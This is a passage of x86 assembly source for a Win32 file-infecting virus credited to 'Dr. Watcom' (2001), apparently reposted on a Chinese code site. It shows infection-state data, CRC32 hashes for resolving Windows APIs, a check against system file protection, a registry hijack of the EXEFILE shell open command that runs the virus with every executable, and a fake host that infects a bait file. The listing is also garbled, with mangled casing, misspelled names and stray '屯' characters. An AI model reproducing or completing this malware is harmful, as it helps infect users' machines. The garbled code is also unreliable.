Key32 DD 00H

Count DD 00H

STARTUPINFO DD 00H

ProcessInfo DD 00H

CMDline DD 00H

Cmdspawn DD 00H

Cmdexefile DD 00H

RNDSEED_1 DD 00H

RNDSEED_2 DD 00H

RNDSEED_3 DD 00H

RNDSEED_4 DD 00H

RNDSEED_5 DD 00HRNDSEED_6 DD 00H

Export Table Data

; -------------------------------

ET_MAXNAMES DD 00H

ET_PTRNAMES DD 00H

ET_PTRADDRESSES DD 00H

ET_PTRORDINALS DD 00H

ET_TMPADDRESS DD 00H

Infection Data

; -------------------------------

FILENAME DD 00H

FileAttribs DD 00H

FILSIZE DD 00H

FileHandle DD 00H

Filemapping DD 00H

FileView DD 00H

Filetime_created DD 00h, 00h

Filetime_accessed DD 00h, 00h

Filetime_Written DD 00h, 00h

FILE_IMAGEBASE DD 00H

FILE_ENTRYPOINT DD 00H

File_sections DD 00H

FILE_SECTIONHEADER DD 00H

File_sectionsize dd 00h

FILE_SECTIONRAW DD 00H

FILE_SECTIONRVA DD 00H

FileInfected DD 00H

KERNEL_API_CRC32:

_Exitprocess DD 040F57181H

_CreateProcess DD 0267E0B05H

_LoadLibrary DD 04134D1ADH

_GetProcaddress DD 0FFC97C1FH

_GlobalAlloc DD 083A353C3H

_GetModuleFileName DD 004DCF392H

_GetStartupinfo DD 052CA6A8DH

_GetCommandline DD 03921BF03H

_GetWindowsDirectory DD 0FE248274H

_CloseHandle DD 068624A9DH

_Createfile DD 08C892DDFH

_CreateFilemapping DD 096B2D96CH

_MapViewoffile DD 0797B49ECH

_UnmapViewoffile DD 094524B42H

_GetfileAttributes DD 0C633D3DEH

_SETFILEATTRIBUTES DD 03C19E536H

_GetfileSize DD 0ef7D811BH

_Getfiletime DD 04434E8FEH

_SETFILETIME DD 04B2A3E7DH

_CopyFile DD 05BD05DB1H

_GettickCount DD 0613FD7BAH

_GetsystemTIME DD 075B7EBE8H

_SLEP DD 00ac136BAH

_LSTRCAT DD 0C7DE8BACH

DD 00000000h

KERNEL_API_ADDR:

EXITPROCESS_ DD 0

CREATEPROCESS DD 0

LoadLibrary DD 0

GetProcaddress DD 0

GLOBALLOC DD 0

GetModuleFileName DD 0

GetStartupInfo DD 0

Getcommandline DD 0

GetWindowsDirectory DD 0

CloseHandle DD 0

CreateFile DD 0

CreateFilemapping DD 0

MapViewOffile DD 0

UnmapViewoffile DD 0

GetFileAttributes DD 0

SetFileAttributes DD 0

GetFileSize DD 0GetFileTime DD 0

SetFileTime DD 0

CopyFile DD 0

GetTickCount DD 0

GetSystemTime DD 0

Sleep DD 0

LSTRCAT DD 0

User_api_crc32:

_MessageBox DD 0D8556CF7H

_wsprintf DD 0A10A30B6H

DD 00000000h

User_API_Addr:

Messagebox DD 0

WSPRINTF DD 0

Advapi_api_crc32:

_REGOPENKEYEX DD 0CD195699H

_REGCLOSEKEY DD 0841802AFH

_RegSetValueex DD 05B9EC9C6H

_RegSetValue DD 0e78187CEH

DD 00000000h

Advapi_API_Addr:

RegopenKeyex DD 0

RegcloseKey DD 0

RegSetValueex DD 0

RegSetValue DD 0

Strings:

SzvirusName DB Virus_Name, 0

Szviruscredits DB '[', Virus_Name, ']', Virus_Version, CRLF

DB '(c) 2001 by Dr. Watcom', CRLF, CRLF

DB 'Communio Gets US Closer To Our Dark Father', CRLF

DB 'Come, Share Your Vitae with me', CRLF, 0

Szuser32 DB 'User32.dll', 0

SZADVAPI32 DB 'Advapi32.dll', 0

SZSFC DB 'sfc.dll', 0

SzsfcProc DB 'sfcisfileprotected', 0

SzregKey DB 'EXEFILE / Shell / Open / Command', 0

SzregValue DB spawn_name, '', 1, '"% 1"% *', 0

Szspawnfile db '/', spawn_name, 0

Padding DD?

End:

屯 屯 屯 屯 屯 屯 屯 屯 屯

屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯 屯

Host Code?

; Tangyu Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun, Tun.

Fakehost:

Mov ESI, Offset Szbait

Call infectfile

SUB ESP, 1024

MOV ESI, ESP

Push 2

Push virus_size

Push virus_size

Push offset sztemplate

PUSH ESI

Call_wsprintfa

Push 1040h

Push offset sztitle

PUSH ESI

PUSH 0

Call Messageboxa

Add ESP, 1024

Fakehost_quit:

PUSH 0

Call EXITPROCESS

屯 屯 屯 屯 屯 屯 屯 屯 屯

End Start

End

转载请注明原文地址:https://www.9cbs.com/read-37455.html

New Post(0)